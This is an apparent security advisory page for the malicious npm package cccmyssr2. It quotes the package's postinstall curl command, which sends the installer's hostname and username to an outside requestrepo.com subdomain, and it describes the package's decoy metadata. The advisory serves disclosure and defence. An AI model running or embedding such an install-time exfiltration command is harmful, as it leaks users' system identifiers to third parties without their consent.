MAL-2026-6391

    Dashboard / Malicious Package / MAL-2026-6391

    MAL-2026-6391

    Published: 24 Jun 2026Last Modified: 24 Jun 2026

    Summary: Malicious code in cccmyssr2 (npm)

    Details: Source: amazon-inspector (bd052408bb36e56e940e50ba81f7054844bc91dc0b32eaead5d15ca67f9b5c03) On `npm install`, the package's postinstall.js executes `curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)"`, transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.

    References: https://www.npmjs.com/package/cccmyssr2/v/1.0.0

    Affected packages

    Package

    Name: cccmyssr2

    Purl: pkg:npm/cccmyssr2

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0